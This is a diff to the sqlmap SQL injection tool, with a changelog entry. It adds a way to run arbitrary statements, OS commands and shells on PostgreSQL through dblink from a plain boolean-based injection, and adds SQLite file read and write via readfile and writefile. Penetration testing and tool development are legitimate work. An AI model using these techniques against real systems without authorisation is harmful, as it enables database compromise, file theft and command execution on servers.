diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 41358a27199..c5809d060a7 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -51,8 +51,8 @@
-
-
+
+
@@ -134,9 +134,13 @@
-
-
+
+
+
+
+
+
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 51c08a7e901..7ee88f2f4a9 100644
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -53,6 +53,9 @@
* Added time-based payloads for CUBRID.
* Added out-of-band DNS channels for H2 and ClickHouse.
* Added PostgreSQL command execution through a PL extension.
+* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is present, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
+* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
+* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
* Added the tamper scripts `blindbinary`, `dollarquote`, `infoschema2innodb`, `oraclequote`, and `sign`.
## Fewer dependencies
diff --git a/lib/core/option.py b/lib/core/option.py
index a850ac53f4d..5cf18f71732 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
+ kb.gadget = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}
diff --git a/lib/core/settings.py b/lib/core/settings.py
index d54b7741e14..fb7a90de751 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.8.45"
+VERSION = "1.10.8.50"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 0c46ba173e9..ef2f7ccb548 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -48,6 +48,9 @@
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
+from lib.core.convert import encodeHex
+from lib.core.convert import getBytes
+from lib.core.convert import getUnicode
from lib.core.decorators import lockedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
@@ -834,6 +837,36 @@ def _(value):
return extractExpectedValue(value, expected)
+def getGadget():
+ """
+ Returns a 'gadget' (a side-effecting scalar expression usable through a
+ regular - e.g. boolean/time-based - injection) that can run an arbitrary
+ statement when stacked queries are not available (e.g. dblink_exec() on
+ PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
+ """
+
+ if kb.gadget is None:
+ kb.gadget = False
+
+ dbms = Backend.getIdentifiedDbms()
+
+ if dbms is not None and "gadgets" in queries[dbms]:
+ for name, gadget in queries[dbms].gadgets.__dict__.items():
+ try:
+ available = checkBooleanExpression(gadget.check)
+ except Exception:
+ available = False
+
+ if available:
+ infoMsg = "using '%s' gadget to run statement(s) as " % name
+ infoMsg += "stacked queries are not available"
+ logger.info(infoMsg)
+
+ kb.gadget = gadget
+ break
+
+ return kb.gadget or None
+
def goStacked(expression, silent=False):
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
@@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
if conf.direct:
return direct(expression)
+ if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
+ gadget = getGadget()
+
+ if gadget:
+ warnMsg = "statement execution through a gadget is best-effort "
+ warnMsg += "and its result (if any) can not be retrieved"
+ singleTimeWarnMessage(warnMsg)
+
+ payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
+ checkBooleanExpression("(%s) IS NOT NULL" % payload)
+ return
+
query = agent.prefixQuery(";%s" % expression)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py
index 709f6ff2e5a..d7a1ff1a78e 100644
--- a/plugins/dbms/postgresql/takeover.py
+++ b/plugins/dbms/postgresql/takeover.py
@@ -102,7 +102,7 @@ def uncPathRequest(self):
def copyExecCmd(self, cmd):
output = None
- if isStackingAvailable() or conf.direct:
+ if isStackingAvailable() or conf.direct or inject.getGadget():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py
index ad1bc2622d4..0e86a8b5de5 100644
--- a/plugins/dbms/sqlite/filesystem.py
+++ b/plugins/dbms/sqlite/filesystem.py
@@ -5,14 +5,85 @@
See the file 'LICENSE' for copying permission
"""
+from lib.core.common import singleTimeWarnMessage
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.decorators import cachedmethod
+from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import EXPECTED
+from lib.core.enums import PLACE
from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
- def readFile(self, remoteFile):
- errMsg = "on SQLite it is not possible to read files"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ @cachedmethod
+ def _checkFunction(self, name):
+ """
+ Checks for the presence of a specific SQL function inside the back-end
+ DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension,
+ as the sqlite3 command line client has those built in, while the host
+ application usually doesn't)
+ """
- def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
- errMsg = "on SQLite it is not possible to write files"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name)
+
+ def nonStackedReadFile(self, remoteFile):
+ if not self._checkFunction("readfile"):
+ errMsg = "on SQLite it is not possible to read files without "
+ errMsg += "the 'fileio' extension function 'readfile' being "
+ errMsg += "available inside the back-end DBMS"
+ raise SqlmapUnsupportedFeatureException(errMsg)
+
+ if not kb.bruteMode:
+ infoMsg = "fetching file: '%s'" % remoteFile
+ logger.info(infoMsg)
+
+ return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
+
+ def stackedReadFile(self, remoteFile):
+ return self.nonStackedReadFile(remoteFile)
+
+ def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+ if not self._checkFunction("writefile"):
+ errMsg = "on SQLite it is not possible to write files without "
+ errMsg += "the 'fileio' extension function 'writefile' being "
+ errMsg += "available inside the back-end DBMS"
+ raise SqlmapUnsupportedFeatureException(errMsg)
+
+ logger.debug("encoding file to its hexadecimal string value")
+
+ fcEncodedList = self.fileEncode(localFile, "hex", True)
+ fcEncodedStr = fcEncodedList[0][2:]
+ fcEncodedStrLen = len(fcEncodedStr)
+
+ if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
+ warnMsg = "the injection is on a GET parameter and the file "
+ warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
+ warnMsg += "bytes, this might cause errors in the file "
+ warnMsg += "writing process"
+ logger.warning(warnMsg)
+
+ debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
+ logger.debug(debugMsg)
+
+ # Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex
+ # string survives sqlmap's string escaping (it becomes CHAR(...) of the
+ # ASCII hex digits, which 'unhex' decodes back to the original bytes)
+ if self._checkFunction("unhex"):
+ content = "unhex('%s')" % fcEncodedStr
+ else:
+ warnMsg = "back-end DBMS does not have the 'unhex' function "
+ warnMsg += "(SQLite >= 3.41.0); the file will be written from a "
+ warnMsg += "textual value and non-ASCII bytes may get corrupted"
+ singleTimeWarnMessage(warnMsg)
+
+ with open(localFile, "rb") as f:
+ content = "'%s'" % f.read().decode("latin-1")
+
+ inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+
+ return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
+
+ def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+ return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py
index 5a2d7f159c6..c7014b7ea38 100644
--- a/plugins/dbms/sqlite/fingerprint.py
+++ b/plugins/dbms/sqlite/fingerprint.py
@@ -108,5 +108,12 @@ def checkDbms(self):
return False
+ def checkDbmsOs(self, detailed=False):
+ if Backend.getOs():
+ infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
+ logger.info(infoMsg)
+ else:
+ self.userChooseDbmsOs()
+
def forceDbmsEnum(self):
conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX)
diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py
index de4ef537523..cdab692375b 100644
--- a/plugins/generic/custom.py
+++ b/plugins/generic/custom.py
@@ -71,7 +71,7 @@ def sqlQuery(self, query):
output[i] = joinValue(output[i])
return output
- elif not isStackingAvailable() and not conf.direct:
+ elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
warnMsg = "execution of non-query SQL statements is only "
warnMsg += "available when stacked queries are supported"
logger.warning(warnMsg)
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index be6fbd30d12..3898895aba2 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -56,6 +56,9 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False):
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
+ elif Backend.isDbms(DBMS.SQLITE):
+ lengthQuery = "LENGTH(readfile('%s'))" % remoteFile
+
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
@@ -213,6 +216,11 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg += "into the specific DBMS plugin"
raise SqlmapUndefinedMethod(errMsg)
+ def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+ errMsg = "'nonStackedWriteFile' method must be defined "
+ errMsg += "into the specific DBMS plugin"
+ raise SqlmapUndefinedMethod(errMsg)
+
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg = "'stackedWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
@@ -234,7 +242,7 @@ def readFile(self, remoteFile):
logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile)
- elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
+ elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2) or Backend.isDbms(DBMS.SQLITE):
debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique"
logger.debug(debugMsg)
@@ -307,6 +315,13 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
debugMsg += "stacked query technique"
logger.debug(debugMsg)
+ written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
+ self.cleanup(onlyFileTbl=True)
+ elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
+ debugMsg = "going to upload the file '%s' with " % fileType
+ debugMsg += "large object technique through a gadget"
+ logger.debug(debugMsg)
+
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
@@ -321,6 +336,12 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
logger.debug(debugMsg)
written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
+ elif Backend.isDbms(DBMS.SQLITE):
+ debugMsg = "going to upload the file '%s' with " % fileType
+ debugMsg += "'writefile' function"
+ logger.debug(debugMsg)
+
+ written = self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
else:
errMsg = "none of the SQL injection techniques detected can "
errMsg += "be used to write files to the underlying file "
diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py
index 8bf7d185362..3af9188fe93 100644
--- a/plugins/generic/takeover.py
+++ b/plugins/generic/takeover.py
@@ -27,6 +27,7 @@
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException
+from lib.request import inject
from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit
@@ -46,6 +47,8 @@ def __init__(self):
def osCmd(self):
if isStackingAvailable() or conf.direct:
web = False
+ elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
+ web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg)
@@ -68,6 +71,8 @@ def osCmd(self):
def osShell(self):
if isStackingAvailable() or conf.direct:
web = False
+ elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
+ web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)